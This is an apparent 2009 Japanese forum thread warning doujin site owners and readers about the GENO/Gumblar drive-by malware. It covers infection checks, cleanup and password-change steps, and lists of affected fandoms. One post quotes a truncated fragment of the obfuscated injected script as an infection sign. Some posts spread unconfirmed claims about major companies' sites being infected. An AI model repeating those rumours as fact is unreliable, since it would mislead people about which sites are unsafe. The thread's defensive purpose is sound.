【管理も】同人サイト・GENOウィルス注意2【閲覧も】

新種のコンピュータウィルスが流行っています。
感染サイトを踏んだだけで発症し、大半のアンチウィルスソフトで検知されません。
変化が早く、一部の検知可能なソフトも最新型には対応できていない状況です。

感染の場合ワクチンはなく、クリーンインスコ必須、パス変必須（ＦＴＰパス抜きされる）です。

現時点で大半のセキュリティソフトをくぐり抜けてしまうため、
とりあえずジャンル関係なく、全ジャンルでサイト管理人・閲覧者に感染チェックを推奨します。
特にサイト管理人は二次被害を起こしてしまいますので、早急な確認が望ましいと思われます。

・確認点

【sqlsodbc.chmが改ざんされていないかを確認】
　Windows XP:　改ざんされていなければ
　C:\WINDOWS\system32\sqlsodbc.chm　50,727 bytes
　Windows 2000: そもそも存在しないはずなので、
　C:\WINDOWS\system32\sqlsodbc.chmが無いことを確認。
【cmd.exe、regedit.exeが立ち上がるかどうか】
　このウイルスに感染しているとコマンドプロンプト、レジストリエディタが立ち上がらない。

前スレ
【管理も】同人サイト・GENOウィルス注意【閲覧も】
http://changi.2ch.net/test/read.cgi/doujin/1242391122/

関連スレ
GENOウイルススレ　★5
http://pc11.2ch.net/test/read.cgi/sec/1242415022/

次からは>>1の上のほうに入れてください

同人サイト向け・通称「GENOウイルス」対策まとめ
ttp://www31.atwiki.jp/doujin_vinfo/

当スレでは感染報告については、注意喚起の観点から

・感染が認められたジャンル名

のみ報告ＯＫです。
感染報告をする際は、ジャンル名・ジャンル内シリーズ名など
伏字・略称にせず、わかりやすく書いてくだささい。

晒しやウォチ、風評被害を防ぐため、個人サイトを特定できる形で話題に出すのはＮＧです。
また、アドレス晒しは、踏むとマジで危ないので絶対厳禁。

[現状での対策方法]

WindowsUpdate
PDFリーダーを最新にする　（AdobeReader　や Foxit Reader）
AdobeFlashを最新にする
FW（ファイアウォール）を有効にし、以下のIPを遮断→94.247.0.0/16、94.229.65.160/27（最新）
Javascriptを切る
貼られている怪しいリンクをむやみに開かない
ウイルス定義ファイルを更新する

[確認される症状]
・sqlsodbc.chmを改変
・cmd.exe、regedit.exeが起動不能
・一部のアンチウイルスソフトが更新不能
・特定サイトにアクセス不能(Windows Update、アンチウイルスソフト関連サイト)
・ネットワークのトラフィックを監視、ユーザー名やパスワード等の情報を収集
・Googleの検索結果を改竄(リンクを弄る)
・explorer.exeや一部のブラウザが異常終了
・Acrobatが勝手に起動
・PDFファイルやシステムファイルが増殖
・CPU、メモリ使用率がUP
・再起動時にBSOD

感染するとＦＴＰのパス抜かれて、自サイトにウイルスのjavaスクリプト貼られるらしい。
結果、サイトがゾンビ化し来た閲覧者に二次感染する

02.テニス（ミュ・同人・ファンサイト）

全カテゴリにわたって感染してるサイトがあったので
こちらにしたほうがいいと思います

■■■感染していたら（HP管理人向け）■■■
・とりあえずFTP上のファイルを全て削除し、閲覧できない状態にしましょう。
　感染ファイルを残しておくと閲覧者が感染しさらに拡大することになります。

・PCはクリーンインストールするしか手がありません。早急に。
　完了するまでネットに接続しないよう、LANケーブルやルータを引っこ抜いて完全に遮断してしまいましょう。

・可能であれば携帯や感染していないサブマシンなどから相互リンクサイトなどの管理人に報告。
　サーチに登録している人はサーチ管理人にも必ず連絡し、注意喚起をお願いして下さい。

・クリーンインストールが完了したら、すぐにＦＴＰのパスワードを変更してください。
　感染時に使っていたＩＤとパスは既に悪意あるユーザーに漏れています。
　以後、しばらくは短期・不定期にパスワードを変えた方が安全でしょう。

>>1乙
wiki編集できなかったのでこちらに。どなたか追加してくださると有難いです

★Vistaの場合 sqlsodbc.chm は
　C:\Windows\Help\mui\0409
　C:\Windows\Help\mui\0411
このどちらか、あるいは両方のディレクトリの中に sqlsodbc.chm があります。
sqlsodbc.chm を右クリック→プロパティでボリュームが確認できますので、
そこが　50,727 bytes　なら正常です。

■■■初心者向けまとめ ■■■

【sqlsodbc.chmが改ざんされていないかを確認】
　Windows XP:　改ざんされていなければ
　C:\WINDOWS\system32\sqlsodbc.chm　50,727 bytes
　Windows 2000: そもそも存在しないはずなので、
　C:\WINDOWS\system32\sqlsodbc.chmが無いことを確認。
確認方法
１）マイコンピュータ→Cドライブ→WINDOWSフォルダ→system32フォルダを開く
２）Ctrl+Fか目視で　sqlsodbc.chm　を探す
３）ファイル右クリック→プロパティでサイズを確認
４）サイズ：49.5 KB (50,727 バイト)と表示されればとりあえず一つクリア
　→それ以外なら感染してる可能性高

Firefoxはデフォルトのままだとgoogleの検索結果を先読みする。
先読みしたページがウィルス感染してるとアウト。

［対策］
FirefoxのURLバーに｢about:config｣と入力する。※警告が出てきても大丈夫
上のフィルタという所に｢network.prefetch-next｣と入力して、
出てきた値がtrueだったらダブルクリック→falseにする。

以上　GENOウイルススレ　★5より

※sqlsodbc.chmが見つからない人
マイコンピュータを開く→Ctrl+F→ファイルやフォルダを検索
ファイル名に「sqlsodbc」
検索先を「マイコンピュータ」で探せ
時間かかるけど確実だから

【cmd.exe、regedit.exeが立ち上がるかどうか】
　このウイルスに感染しているとコマンドプロンプト、レジストリエディタが立ち上がらない。
確認方法
１）スタート→ファイル名を指定して実行→regeditもしくはcmdと入力→OK押す
２）コマンドプロンプト(cmd.exe・黒い背景のウィンドウ)
　　レジストリエディタ(regedit.exe・起動しても何も触らずすぐ閉じるが吉。初心者がいじると危険)
　　が立ち上がれば一つクリア
　→実行できない場合は感染してる可能性高

>>1以外のﾃﾝﾌﾟﾚ貼りは荒らしということでおK？

>>1だけどテンプレお願いしたのは自分の方です
まとめが多すぎて追い切れなくてどれ貼れば良かったのかわからなくて
とりあえず難民出ないようにスレ立てだけやりました。申し訳ない

>>1
そろそろニュー速でスレが立ちそうだから
同人関係なく普通のサイトがやばいという主旨に変えたほうが良いと思うよ

>>11
ちゃんとした対策だ安心しろ

オンラインウィルススキャン
ttp://www.kaspersky.com/virusscanner

ソースチェッカーオンライン
ttp://so.7walker.net/guide.php

Amazonやらスクエニやらは確認出来る人いる？
マジならシャレにならん…

スレ立て＆テンプレ貼り乙です
このウイルス作った奴がきちんと裁かれますように

まとめWikiに載ってる感染確認方法全部やった
全部クリアしたよ

でもwindows updateに繋がんね('A`)
何でだよ

>>847 をJavaScript

現在ウィルス検出出来てるソフトも新種・亜種にはなかなか対応出来ないため、JavaScript切るのがとりあえず確実
ﾈｻﾌしないのが一番安全。

※単にJavaとだけ言うと、JavaScriptではなくJavaアプレットを指すことがあります。名前は似てるけど別物
ここで確実に切ってほしいのはJavaScript。
ちなみにJavaアプレットを使っているページではタスクトレイにマークが表示される。念のためこちらも最新のものに更新して、使ってる覚えがなければ切っておくとベター。


（前スレのテンプレ案からちょっと直しました。（Java/Javascriptの件）指摘あればお願いします。）

>>1乙
ageて行こう

１行目は編集してたときの残骸なのでなかったことにしてくだしあ＿|￣|○

>>18
大丈夫、私も繋がらない。
感染はして無い。

今Windowsのアップデートにだけつながらないのはアクセス集中してる可能性高くないかな

やべー
状況報告見てると大手の法人サイトショッピングサイトも次々と感染してるような？

いちおつ
公式サイトだったら伏せたりせず詳しく書いてもいいんでないかね

感染チェックはクリアしたけど
明日どころか今日今この瞬間もウィルスは進化してるわけだし
日記代わりのブログに更新停止宣言してきた
ftpソフトいったん破棄して、騒ぎが収まってから
ftpソフト再インストールした方が安全かな

間違ってクリックしないように
とりあえずデスクトップにあるftpへのショートカットはお前らも捨てとけ

>>18
繋がるけど重くなってる

自分は感染しているサイトを見た覚えは何だけど
SQLSODBC.CHMというファイルが2つあって
そのどちらもファイルサイズは49.5ｋ
しかし>>1で確認される症状は無く、自分のサイトのファイルも特に問題ないみたい
このウイルスは潜伏期間とかあったりするのか？
サイトをアップデートしたのは一月前くらいなんだけど・・・

>>22-23
そうか、アクセス集中してんのか

とりあえず家のPCは大丈夫そうだが、問題は家族なんだよなぁ
ｶｰﾁｬﾝ、何も知らずに毎晩ヤフオク見てるからなー
いつどこで感染するか分からんから、家族にPC使う人いたら暫く使わせないようにしようぜ

>>23
>>23
並大抵のアクセス集中じゃなきゃ繋がらないなんてことはないぞ。少なくともMSの鯖は。
現に俺は接続出来た。

>>28
亜種が沸いてるからなんとも胃炎
気になるならテンプレ通りにやってみるしかない
それかクリーンインスコ

>>28
つSQLSODBC.CHMを右クリック→プロパティ

vistaも感染するのか？

Windows Xp SP3インストール時に発生する無限ループ
http://cgi.sainet.or.jp/~kouji/ugoke3/pcsub50.htm

AMD使用でSP3にするとメーカーがHP以外でも故障する恐れがあるから
必ずパッチを当ててからにするように(リブート繰り返します)

他のウィルスって可能性もあるんでは？
完全スキャンしても大丈夫だったならタイミング悪かっただけかもしれない

前スレでも言ってる人いたけど
wikiの週間飛翔はジャンプに変えた方がいいんじゃない？
あまり2ch発祥の伏字や略語使わない方が普及しやすいと思う

>>33
油断は禁物

亜種がばんばん出て来てるのが怖い、後手に回るしかないからな…

戦国BASARAだがアンソロサイトが感染してる
一応報告

>>15のソースチェッカーオンラインで
感染サイトみるとどういう表示になる？

>>33
前スレをVistaで検索

感染サイトをいくつか見つけたので

・東方　音楽サークルの告知サイト
・ひぐらし　男性向けイラストサイト
・コナン　ノマカプサイト
・オリJUNEサークルの告知サイト
・ヘタリアの携帯向け同盟サイト（PCレン鯖）

>>32
両方プロパティで確認した
というかスマン、>>8見たら49.5kで問題ないみたいだな
お騒がせした
感染して無いみたいでほっとしたｗ

>>36
同意
ふざけてるように思われるしね。

有名感染サイト

GENO
2ちゃんねる
小林製薬
集英社 new!
スクエニ new!
Amazon new!(未確認)

>>44
集英社も？

>>44
集英社もスクエニも確認されたのか・・・

wikiの編集方法が分からない…誰か感染ジャンルの青年漫画の項に
前スレにでてた福本伸行作品（逆境、銀と金）も追加してほしい

その二つはちゃんと確認されてないんじゃないの

アマゾンからクレジット情報消しときたいんだが今アクセスするのは危険だよな…
ほんともうやだ

風評だすとマズイんじゃないの

アマゾンとりあえずログアウトしてくるか・・・

セキュ板の方でもいわれてるけど、
アマゾン、スクエニは釣りじゃなくガチなの？
あと集英社じゃなく小学館って書かれてなかったか。

こんな状況だ、釣りは本当にやめようよ。
釣りじゃないなら「そのサイトのどこで確認したのか」まで書いてほしい。

>>44
風雪のルルで逮捕

2ちゃんはどの板とかある？

>>52
ほんと同意
面白がって書いてる奴も信じられないわ…

誰か感染ジャンル一覧頼む

Amazonは感染してないみたい
その他は未確認

805 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/05/16(土) 12:56:45
view-source:http://www.amazon.co.jp/

いまんところmartuないぞ

伝説の呂布登場か

>>52
禿同
2ｃｈは結局専ブラで見ればおｋってことだよね
ブラウザで見てる人は専ブラ入れればいいんじゃないかな

>>49
>>51
このウイルスは自分自身が感染しないかぎり情報を盗まれない
今Amazonにアクセスするのは逆に危険

スクエニとか集英社は本当に確認したの？
Amazonも未確認になってるけど…
具体的にどこが感染してるんだろ
企業サイトは具体的にいっちゃってOKだろう

amazonは釣りでしょ
さっき行ってみたけど何も問題が無かった。

小学館とスクエニは公式サイトが感染していると書かれたが未確認（前スレ992）
Amazonは本スレで「ショッピングサイトが感染してた」という話の流れから名前が出ただけ
集栄は>44まで名前すら出てきてない

まあなんだ、もちつけ

アマゾンって今行くの危険か？ログアウトしておくべき？
もし購入履歴流出したりしたら死にそう…

アニメ系
01.エヴァ（小説サーチ）
02.忍たま乱太郎（同人サイト）
03.ガンダム00（同人サイト）
04,プリキュア
05,天体戦士サンレッド（同人サイト）
06,コードギアス（同人サイト）
07,ガンダム00（同人サイト）
08,レッツ&ゴー
09,イナズマイレブン

少年漫画（週刊ジャンプ系）　※集英社公式
01.リボーン（プチオンリー告知サイト・ファンサイト）
02.テニミュ（同人サイト・ファンサイト）
03.ジョジョの奇妙な冒険（同人サイト）
04,ワンピース（同人サイト）
05,デスノート（同人サイト）
06,D.Gray-man（同人サイト）

少年漫画（その他）
01.鋼の錬金術師（オンリー告知サイト・同人サイト）

青年漫画
01.ヘタリア（同人サイト）
02.おお振り（アンソロ告知サイト・同人サイト）
03.福本伸行作品（逆境、銀と金）

同人板での対応がわからないのだが、具体的なURLを晒す気は全くないのか？
ジャンル名のみという対応が無用な混乱をさせている気がする

あぶねぇ・・・ネトゲで顔文字とか出すためにUACを無効にしてたよ
色々チェックして感染してないことはわかったからよかった

ガンＳＥＥＤノマカプサイトでavast!が反応（トロイの木馬）した
先月末の話なんだけど、このウイルスだった可能性ってあるのかな

ゲーム（ＲＰＧ・ＡＣＴ）
01.幻想水滸伝（同人サイト）
02.戦国BASARA（同人サイト） /03.戦国無双（同人サイト）
04.バイオハザード（同人サイト）
05.メガテン（真、サマナー、ライドウ、ペルソナ４ ）（同人サイト）
06,テイルズオブジアビス（主人公受け）（同人サイト）
07,セブンスドラゴン
08.ブレイブルー

ゲーム（恋愛）
01.乙女ゲームのVitamin（同人サイト）
02.遙かなる時空の中で（同人サイト）
03.Fate（同人サイト）
04,ニトロプラスキラル咎狗（同人サイト・アンソロ告知サイト）
05,乙女ゲームのStarry☆Sky(同人サイト）
06,乙女ゲームのクインロゼ(同人サイト）
07乙女ゲームの薄桜鬼同人サイト

ゲーム（その他とか仕分け不明とか）
01,ポップンミュージック（同人サイト）
02,東方（大手同人サイト）

小説・ライトノベル
01,小野不由美系サーチ（サーチ）

創作
01,創作小説/02創作同人ゲーム

その他の接触確率の高そうな報告例
01,非同人系ゲーム同盟サイト/02,模型イベントホビーコンプレックス告知サイト

情報が混乱してるね、小林製薬みたい確定できてるとこ以外は
釣りの可能性も高いからうのみにすんな

>>64
だからえっちなものは買うなと…

ここのテンプレとwikiに、同人以外の感染公式サイトも載せて欲しい。
うかつに見て回れないので、知ってる人はぜひ。
俺、いまんとこ、小林製薬しかしらん。

>>60
そうか…
母親にウイルスのこと言ったらクレジット情報消しといてくれとぎゃいぎゃいやかましくてな。ありがとう。
自分のPCは感染してないからしばらくネット絶つわ

>>65
>>69
ありがとう

>>15の下の方のチェッカーでアマゾン試したらなんともなかったよ
携帯から書き込んでますがマカです

>>59
専ブラ入れたいんだが怖くて検索結果踏めないｗｗ

>>66
個人サイト出しＯＫにしちゃうと、晒しとか乱入してきて、よけい混乱しそうな気がする。
ジャンル特定されれば、大体は関連ジャンルスレがあると思うから
あとはそっちで個々に対応決めてもらうのはどうだろう。

ただ、アンソロ系・イベント系はもう少し特定できる形で書いてもいいように
個人的には思っている

>>72
照英のブログ見に行っちゃだめだぞ
あとsageない方がよくね？この状況だし注意喚起しときたい

ノートン使いの自分涙目な状況なんだけど､落ち着くまで
ノートンと一緒にavast入れておいた方がいいのかな
セキュリティソフト２つ入れるのってよくないと言うけど､
背に腹は代えられないってことで同じことしてる人いる？

アマとかは来てないだろう
流石に不確定でこれらは洒落になんないから確証得手からにしてほしい

検索したら二つでてきたんだけど
sysytem32内のSQLSODBC.CHMサイズは50,727 バイト
I386のなかにSQLSODBC.CHMが50,727 バイトと38.718バイトってあるけどこれは問題なし？
コマンドプロンプトもレジストリも開きます。

>>66
貼ると必ず踏む奴が出るし、勘違いした正義漢が騒ぎを大きくしかねないから
あとここの住人はurlが無くてもあんま混乱してないかと

>>66
個人サイトの晒しは絶対ありえない文化だと思っていてくれればおｋ

>>66
2ちゃんで個人サイト晒すのだけはNG
ただアンソロとかは何アンソロかぐらいは書いてもいいんじゃないかと

>>79
ノートン切ってからavast入れなよ

>>77
すごく微妙なのはわかっている。ただ、今回の騒動は1ヶ月以上前から発生しているんだよ。
それが全然沈静化していない。そこら辺も考えてみると、結構恐い話だってことがわかると思う。
それに基本的には表立って報道もされていないしな。

ＵＲＬ出したら被害拡大するじゃねーか何言ってんだ

>>79
なぜセキュリティソフト一緒にｓたら駄目なのか根本的に知っておいた方がいい
アンチウイルスソフトを同居させると、機能合致してどちも起動しない
最悪PCアボンだから駄目だってことなんだよ
そもそもアンチウイルス入れるとき、他にアンチウイルスが入ってたら
インストールさえも出来ないと思う

鯖缶に警告メール出すからドメイン晒せって言ってるんだけど
ttp://www.2ch.net/←ここまで
個人サイト云々とかアホは黙ってろ

>>86
騒ぎ自体は１ヶ月以上前からだし同人サイトでの感染疑惑は４月中から
あったが何故ここにきて一気に出てきたんだろうね？

豚インフル国内感染者10名突破！3ヶ月の大型イベント禁止でコミケ終了のお知らせ
http://tsushima.2ch.net/test/read.cgi/news/1242447512/

>>86
気持ちはわかるが、過剰反応で派生する事態も恐い

取りあえず同人板はこうだ、と今は理解してくれれば有難い

ジャンル指定だけでいいんじゃないか？
下手に特定するとそこ行ってないから大丈夫って思いそう

>>90
海外発で今月になって日本上陸したから
http://internet.watch.impress.co.jp/cda/news/2009/05/14/23435.html

>>81
感染してたら1000とか2000バイトになるらしい
万いっててcmd.exe、regedit.exeが起動するなら大丈夫じゃない？

>>93
でもあまりにも抽象的なのもネット徘徊するな専ブラで２ｃｈだけ見ろって事に
まぁソレが一番だろうけど

挙動おかしいなと思ってたんだよ
感染確認した　orz

参考にsqlsodbc.chmのファイル情報調べたらリカバるわ


ftpに繋がらなくなってた(ウィルス関係あるのかな？)から人様に迷惑をかけてはいないのが救いだ

コマンドは立ち上がるし正常だった
自サイトのコードも正常だった

sqlsodbc.chmファイルサイズが異常に小さい
最終更新日がなぜか2008年3月なんだけど

ニフティでスキャンしたら
WINDOWSファイルの中のファイルに
Trojan-PSW.Win32.Kates.c
感染発見

これは真っ黒ですね・・・？

>>79
もう何年も前の古いPCの頃だけど、ノートンとavast入れてたら動作不安定になった
原因はもしかしたら別だったかもしれんが、その時はノートン捨てた

先月あたりからやたらavast反応すると思ったらこれだったのか
とりあえず感謝のお布施でもしてきたくなった

同人は横の繋がり強いから
該当ジャンルが出たらアウト
即チェックすべし

がいいと思うけど

>>90
つい最近どこかの動画サイトが感染したのが大きいんじゃないだろうか

あのさ、はっきり黒だってわかってる人は未報告ジャンルでもない限り
いちいち書き込んでないで、とっとと回線切ってクリーンインスコしてくれないか

>>98
真っ黒だな、ご愁傷様
クリーンインスコすべし

誘導されて感染報告に来ました

・遊戯王（無印）同人サイト

該当サイトは対処済み

>>98
アウト

コマンド立ち上がっても感染してるんだな

尼行ってログアウトさせてきたけどavast特に反応しなかった
一応書いとくとjs全切にNoscript入れた狐

>>97 感染した(疑わしい)状態でFTPにアクセスは御法度
>>98 確定 OSの再インストール＆全パスワード変更いってらっしゃい

感染するしないに関わらず
サイトのリンクページ切っといた方がいいんだろうか

>>98
アウツ！！

>>97
繋げようとした時点でftpパス抜かれてるよ

感染報告

薄桜鬼の同人サイト

>>112

>>69

avastは得に何の設定もしなくていいんだよね？

名前欄orz

>>97
自パソからFTP繋がらなくても外部からサーバーにFTPでログインされて
ファイル改竄されるよ。
早くサーバーログイン（FTP接続）用のパスワード変えた方がいい。

ちょっと聞きたいことがあるんだけど
>>15
のソースチェッカーオンラインで何が出たらGENOウイルス感染確定なんだろうか
「注意！ループタグを発見！」「隠しスプリクトを発見しました」
ソース部分には<ＢＯＤＹ〜<ＦＯＮＴ〜<ｓｃｒｉｐｔ>以下によく分からない数字と英文字がズラズラとならんで
おまけにａｖａｓｔでトロイの木馬警告が出た…

>>109
自分は他サイトへのリンクは調整中と称して外したよ
自ジャンルで感染した人と相互していたのもあるけど（すでにその人は対処済）

コマンドプロンプトとレジストリエディタの起動を確認
サイトのソース、更新日時も問題なし
とりあえず大丈夫みたいだ…よかった

>>117
完全にアウト

Trojan-PSW.Win32.Kates.c
Trojan.Win32.Agent.cglu

亜種があるからこれだけじゃないはず

感染したサイトを見つけようにも怖くて巡回できないわけで

>>113
ｽﾏｿ

>>122
そのレベルで見つけようとする必要全くないから

>>117
bodyの前に
<script language=javascript><!--
(function(TitRT){var H5h='%';var B4mN=(

こんな感じの入ってたらやばい

とりあえず感染者は訪問者に告知だけでもしといてあげてくだせえ
薬事日報や小林製薬のプレスリリースへのリンク貼るのも有効かもしれない
無論ここの人が立ち上げてwikiへのリンクも

>>121
こりゃ煩悩を断って修行僧のように清く正しく２ｃｈ閲覧しながら原稿に勤しむしかないな…
山田みたいに変なもの落とさなきゃいいってもんじゃないし…

未感染のうちにＦＴＰソフトからパスその他全部抹消し、
サイトデータを外部保存してきた。
自分が感染拡大の経路にはなりたくない。

いつ食らってもおかしくない以上、
サイト餅は最悪の事態を念頭に置いといた方がいいな。
もちろんアップデートその他の対策は全部やった上でね。

30 ：名無しさん＠お腹いっぱい。 ：2009/05/16(土) 13:41:46
現在拡散している Gumblar.cn
zlkonの亜種ですが以下のような特徴を持っています。

インジェクションコードが難解になった
バージョンチェックをユーザ側で行うため、サーバスクリプトの検出を回避している
　※一部のIDSはサーバスクリプトへのクエリを監視しており、クライアント側でやられても判断できない
感染が容易と思われるPC環境をよりピンポイントに判断している（このため、セキュ各社の自動検出が難しくなっている）
感染しない環境には何も返さない（更に検証が難しい）
亜種の「更新」の頻度が異常にすばやく、亜種がほとんどのセキュソフトを潜り抜けているので、シグネーチャ・ベースでの検出が難しい
　※検出率が上がる頃には次の種類になっている

感染の疑いがある場合
XP / 2000 の方は sqlsodbc.chm をチェックしてください。
※sqlsodbc.chmを使わない亜種の存在が確認されていますので、この方法に完全に頼るのは危険かもしれません。
ttp://www3.atword.jp/gnome/zlkon-gumblar-%E5%95%8F%E9%A1%8C%E3%81%AB%E9%96%A2%E3%81%97%E3%81%A6/

うへええええええええええええ

>>125
これそのまま貼付けられたらブラウザによっちゃ挙動おかしくならないか？
閉じてないし

因みにノートン入れてるPC[A]とバスター入れてるPC[B]で検証してみた結果なんだけど
※どちらもWEB監視を起動させたまま

IEでノートンを入れてブラウザ常駐させてる場合→検出
IEでウイルスバスター入れてブラウザ常駐させてる場合→検出無反応

だったよ
他のブラウザだとスレイプニルでもやってみたけど
スレイプニルはどっちのアンチウイルスでも無反応だったよ
因みに上記2台はLAN接続などせず独立でネットに繋いでそれぞれ検証
普段はネット繋がってない機種にアンチウイルスインストールしてやってみたので
現在はネットから切ってます

>>120
ありがとう
>>68にも書いたけど
SEED （DESTINY）同人サイト感染してるかもしれん
と思ったら>>125のは入ってないみたいだった

幸管理人だが、さすがに登録サイト全部回るのはきっついなあ…
見つけたら報告してくれ、ってのはありかな？
※ウィルスのことは告知済、まとめサイトにはリンク貼ってる。

>>130
いやいや普通に最初の数行でしょうよ>>125は

ここ１ヶ月くらいでサイトの閲覧者数が激減したのは
このウィルスのせいでみんな巡回を怖がってるせいだよな！









…そう思いたい…(´・ω・｀)

>133
むしろ現状の対策で対処しきれない亜種が出たとき
幸管がそれにひっかかったら目も当てられないわけで

今知った……

確認したいんだけど、ｸﾞｸﾞったりFAQとか見てもMacまの字も出て来ないってことは
これMacは大丈夫なんだよね？

>>127
資料探しの旅にも出れんのがあれだが仕方ない

>>135
誘い受けならチラシででもやってろ糞ヘタレ

>>135
うちは激減するほど閲覧者がいないんだぜ
リンクページがないんだぜ

>>138
しゃーない
図書館か本屋でも巡るさ

コマンドやらは正常に出る
サイトもってない
ファイルサイズは50,727 バイト
更新日は‎2006‎年‎11‎月‎

同人サイト見てまわってたので心配なんだが大丈夫だろうか
今ちょっとフレッツウィルスクリアでスキャン中

>>138
それが痛いんだよね
あーあれなんだっけ？って思った時にさくっと検索できないつらさ

>>138
ああ〜…そうだった…資料探しの旅に出られないのはきつい…。
一応対処法は一通りやってガチガチ固めではあるけど…。

>>137
「今のところは」ね
絶対はないから

>133
一応、全てのブラウザでJS全切りしたから大丈夫だと思いたい…
更新もFTP使うのやめるわ、当分の間。

>>137
「今は」まだ大丈夫

こういうときは写経

>>137
問題になってるファイルは全部窓にしか存在しない

>>137
とりあえず新mac板とセキュリティ板あたり見てこい

さっき自スレで知って火狐とNOSCRIPT入れてきた

PIXIVに注意画像アップ来てるね
少しでも多くの人の目に付いてほしい

　　 　　　　　　　　,rｭ､_＿
　 　 　　　　 　 ｆヽ､〕 　 ｀`丶 ､
　　　　　　　　　辷_|　　　　　　 ｀丶、
　　　　　　　　 （_-‐! 　 　 　 　 　 　 ヽ､＿ _
　　　　　　　 　 ｒ'二!　　　　　　　　　´　 　 　￣　＞ｰ ' ´　￣ 　￣　 ー -　._
　　　　　　 　 　 )-､{　　　　　　　 ＿ _＿ _　　　　　　　　　　　　　　 　 __,z‐マ¬ｎ
　　　　　　　　 （_＞}　　　 ,ィ７丁／//／//７ｔ-､__　　　　　　　　　,r＜＼ソ＾trヘ.}
　　　　　　　　　ヽｭ,廴.ｨ斥r'^ｰ'⌒ｰ'⌒ー'⌒ｰく/ ﾊ.__　　　　 　,r'こ＞'⌒′ ハ､丿
　　　　　　 　　　に匁ﾁ‐'".:.:;:.:.:.:;.:.:.:.;': : ;': : : : :└く } }ﾄ､　　rく＼ 丿 　 　　/ｰf´
　　　　　　　　 ,ｨ夕'".;:;:';:::::;:': : ;:': ::〃::/:: : : :/:::i: : :`y' ∧く.`Y⌒´ 　 　　∠^Y
　 　　　　　／/〃.::;:'/;'::::/ : :/::::://:://! ::::::i:!:::|:!:::::::`ｰj＾ｧ_>′ 　　　 ∠ヽ_ソ
　　　　　 　 ｀Y!:j .::::i::l:j::,::l: : j :::::jl !:::|l:l:| ::::::ｉ:|:::l:|::::::::i:::(/ h 　 , -ｏ-< ヽ`〈
　　　　 　 　 　 　 / /V　 ヽ l＼|:ｲ　.:ト- ﾍ　　.:.ﾄ.:イ|― l:. |　　　 ,.ィ
　　　　　　_ .ｨ'¨i　l./!　 :　:　:| .:{ﾑト､|:!　　 !斗≦_|ﾊ:|l.　 |::.|__.. イ´ﾑ
　　　　_j´/_ﾉｰ'^Vl,┴j:| ..:. .::|:イ{ｨ示ﾐ｢　｀ ｢ｲ示ヽﾄ､l!|　 !´了／´ /
　　　 j ﾉ-'　 /´　 ,イ.::A.:.|:.小ﾄ.ﾄｨ{::j:}　　/' ﾄｨ{::j::} }小　 |__rく´　 z′
　　　 ´ > - ' ┬ ´　l:..:ﾄ.V!:.:||　 辷ソ　　 　 ﾞ辷ソ　｜ r┴‐ァｰく　　　　あばすとー
　　 　 .小. 　 /l|　　 ヽトzハl:! '''　　　　′　　 ''''　　|　 `lﾆ^ーァヘ、
　　　 /! !lﾄ　 i|l.|　 　 　 /.:..八　 　 r======､､　 　 | く⌒ｰ'　 `ｧ'´.ｨヽ
.　　 /'|ﾄ._ﾊ V !||　　　　{:.ィ:.:ﾄ{ヽ.　 {. 　´￣￣ }　 .ィ|　.:下ミ.､__`¨´_,　ﾄ､
　　/ ﾊ|{ |ハ.Vﾊ!__ri―く　ヽ:|　　}＞｀..￣￣ .´イ／_j .::.::|　／￣|ﾄ､　 !! lヽ.__
　　|｜|l.| l　 l !| | ｀ l　　 l　 ヽ　 {ﾄ vﾐ､工二= ´ /´ｲ.:.:.:.:!　　 ／!!|ﾊ j ! j　lヽ.

俺のドリームキャストが火を噴く時が来たな

javascriptタグのとこにevalが入ってたらGENO感染確定だっけ？

>151
アップしてきたもんです
ここやまとめサイトから文章借りました

アマゾンやスクエニ、集英社は問題なし？

印刷所のサイトも感染したらシャレにならんな…

グレンラガンのスレでもこのウィルスっぽい感染が報告されてた

企業は感染を直した後に知らんぷりすることがあるから困る

137っすｱﾝｶﾞﾄ

mac板見てくるよ
感謝のしるしにage

>>155
その３つはガセ説濃厚かも

>>155
乙です。
とりあえず尼さんは今のところ白みたい。

考えてみたら、js切ってると評価できないね
一時的にって言うのが良く分からなかったから、評価の時だけIE使ったけど

グレンのスレ怖い報告が来てるよ
fc2のブログで感染を確認だそうな・・・
ブログで感染て・・・それfc2の鯖元に言った方がいいんじゃないか？

>>151
火狐は、デフォが検索結果先読みだから
about:configもいじったほうがいいよ

この騒ぎにgkbrして新マカ板のウィルススレ見てきたら
『ブルースウィルス』ってレスが一番最初に目に飛び込んできた…

とりあえず自サイトでも注意喚起しといた

ここのテンプレの一部、借りていいですか？
自サイトに注意喚起として、wikiと一緒に張り付ける文章がうまくできないんだ・・・

さげちゃったゴメン

グーグルクロームでｊａｖａスクリプト切るのってどうすればいいんでしょう？

>>162
fc2ブログだと！？

うわああああやばいじゃないか！orz

n即とかにはスレないんだなあ

>>162
ＧＥＮＯのコードが記事にまんま貼り付けてあって、
それにAvastが反応したんじゃないの？
知恵袋でそういうことがあったぞ

>>153
なｗｗｗつｗかｗｗしいｗｗ

前スレより
確定情報じゃないけど、sqlsodbc.chmの更新日が3/21の人は要注意っぽい


71 ：GENO[]：2009/05/15(金) 23:37:04 ID:ax1yfWaoO
ファイル最終更新は3月21日だった
…流行る前ってことは、単なる別要因？

312 ：GENO[sage]：2009/05/16(土) 02:00:17 ID:gSw5ImT40
sqlsodbc.chm　サイズ1.29 KB (1,323 バイト)　orz

3年以上前に買ったPCなのに更新日が3月21日だった
>>71と一緒だこりゃ怪しい

355 ：GENO[sage]：2009/05/16(土) 02:19:30 ID:/LJ35F6B0
222 名前：名無しさん＠お腹いっぱい。[] 投稿日：2009/05/15(金) 21:12:56
カスペオンラインスキャン、avastでもウイルス検知されなかったんだけど。
sqlsodbc.chm 1.29 KB (1,323 バイト)が改ざんされたっぽいんだが、
更新日時が3/21なんです。
これって、感染してるんでしょうか？



ここで報告してる人もいるけど、3/21はアウトっぽいな

695 ：GENO[]：2009/05/16(土) 09:38:28 ID:lVU/fMVd0
sqlsodbc.chmが1.29 KB (1,323 バイト)
更新日は2009年3月21日
cmd.exe、regedit.exeは立ち上がらねぇ

真っ黒ってこったな

低レベルな質問で申し訳ない
自分のPCが感染してなければ自サイトも感染しないんだよね？
(感染者が閲覧しても問題ない？)

後はネット断ちしてれば今後の感染の恐れはないよね

FC2ブログでマジか？グレンスレのあれは確定なの？

感染ファイルの情報も欲しい人いるみたいだから書き込みしてみようと思っただけで
ここのおかげで対策はわかってるよ
忠告ありがとうﾉｼ
ftpに繋がらないのもウィルス関係あるのかと思ったんだけどまあ関係ないのかな

もはや窓しか持たない人間には携帯が一番安心だ

>>134
